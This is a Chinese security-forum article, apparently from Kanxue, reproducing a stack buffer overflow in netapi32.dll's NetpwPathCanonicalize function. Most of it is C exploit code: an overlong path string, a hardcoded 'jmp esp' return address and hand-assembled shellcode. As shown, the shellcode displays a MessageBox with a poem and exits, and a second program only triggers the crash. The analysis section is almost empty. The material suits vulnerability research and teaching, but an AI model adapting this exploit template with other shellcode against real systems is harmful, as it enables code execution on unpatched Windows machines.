本文为看雪论坛精华文章
看雪论坛作者ID:天象独行
一、漏洞信息
netapi32.dll是Windows网络应用程序接口,用于支持访问微软网络。
#include <stdio.h>
#include <windows.h>
typedef void (*MYPROC) (LPWSTR, ...);
char ShellCode[] =
"\x33\xDB" // xor ebx,ebx
"\xB7\x06" // mov bh,6
"\x2B\xE3" // sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\xB9\xFE\xB9\xFE" // push "哈哈"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\xC0\xCF\xBD\xAA"
"\x68\x20\x62\x79\x3A"
"\x68\xC4\xF1\xA1\xA3"
"\x68\xCE\xC5\xCC\xE4"
"\x68\xB4\xA6\xB4\xA6"
"\x68\xCF\xFE\xA3\xAC"
"\x68\xB2\xBB\xBE\xF5"
"\x68\xB4\xBA\xC3\xDF" // push "春眠不觉晓,处处闻啼鸟。by:老姜"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0"; // call ExitProcess
int main()
{
// 设置第二段路径字符串的长度为0x256
WCHAR arg_0[256];
// 设置用于接收格式化后的字符串的缓冲区空间为0x256
WCHAR arg_4[256];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
long arg_10 = 1;
// 加载netapi32.dll函数
HINSTANCE libHandle = LoadLibrary(".\\netapi32.dll");
// 获取函数NetpwPathCanonicalize()的地址
MYPROC funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == 0 || funcAddr == 0 )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
return 0;
}
// 初始化字符数组内容
arg_0[0] = 0; arg_4[0] = 0;
// 实现溢出的路径字符串
wcscpy(arg_0, L"\\A\\..\\..\\BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// jmp esp
wcscat(arg_0, (const unsigned short *)"\x79\x5b\xe3\x77");
// 植入shellcode代码
wcscat(arg_0, (const unsigned short *)ShellCode);
// 调用NetpwPathCanonicalize()函数
(funcAddr)(arg_0, arg_4, arg_8, NULL, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}
二、漏洞复现
VC 6.0++
OD
#include <stdio.h>
#include <windows.h>
typedef void (*MYPROC) (LPWSTR, ...);
int main()
{
// 设置第二段路径字符串的长度为0x256
WCHAR arg_0[256];
// 设置用于接收格式化后的字符串的缓冲区空间为0x256
WCHAR arg_4[256];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
long arg_10 = 1;
// 加载netapi32.dll函数
HINSTANCE libHandle = LoadLibrary(".\\netapi32.dll");
// 获取函数NetpwPathCanonicalize()的地址
MYPROC funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == 0 || funcAddr == 0 )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
return 0;
}
// 初始化字符数组内容
arg_0[0] = 0; arg_4[0] = 0;
// 实现溢出的路径字符串
wcscpy(arg_0, L"\\A\\..\\..\\BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// 调用NetpwPathCanonicalize()函数
(funcAddr)(arg_0, arg_4, arg_8, NULL, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}
三、漏洞分析
漏洞文件:NETAPI32.DLL
看雪ID:天象独行
https://bbs.pediy.com/user-home-911429.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!